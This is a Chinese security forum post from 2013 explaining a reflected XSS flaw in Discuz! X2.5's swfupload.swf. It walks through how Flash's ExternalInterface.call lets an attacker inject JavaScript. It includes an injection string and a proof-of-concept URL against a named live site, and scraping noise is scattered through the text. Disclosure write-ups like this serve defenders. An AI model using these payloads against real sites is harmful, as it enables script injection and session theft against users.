找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2265|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说! B) E& x7 T9 ]1 x: g
6 ?0 w3 \6 |( P
flash.external.ExternalInterface.call($methodName, $parameter)- x) u/ i$ ~  D
在浏览器中执行的是
& j8 p+ X# f  Q7 s. M; A  |0 j- x+ l# b: h. r# Z/ t
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
# m9 P5 O7 F7 X- |3 t对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
5 |) G9 O# w0 v5 s5 R$ F0 j5 E5 U
" Q6 `. `" B, Z# J4 y( i. Zflash.external.ExternalInterface.call("object."+$methodName, $parameter)
' J1 w$ [- ~7 I7 Z- i! D$methodName = a())}catch(e){alert(/xss/)}//
8 A7 m4 b" h) n* o9 N. \& k5 X结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
5 S, D, M% ~7 _/ C0 V' ]! Z: t, s
5 [  L: D' Q* `7 y& m! ?/ ctry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }; E$ l! O0 P' G1 D2 W2 \* ~% S1 j3 Z

/ U" J" _. o9 c0 B7 H这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
& T( \2 }* t" F( K* a& f+ Z杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。2 `2 G4 [$ b  ]$ M' |

  s2 i: G; ]0 E0 k5 p
; O& y9 _* o- X2 s0 O! B+ n4 y0 j" i( q: `  i2 M
漏洞文件:upload\static\image\common\swfupload.swf
) D' o$ q! E8 R; C4 o; I# s; [% x: {, e- r6 Q+ T: A4 @! L2 C
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf! p; f+ ^+ _* V; a) \- R/ s# l

0 p# z' l7 F8 K0 H- z
& t( g# L1 M# P% `% J漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//. ]- ^% L4 q& F6 b: E
: B( S0 x1 W9 ~; ~7 \" x

. D% I9 x; f. {, A! ?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表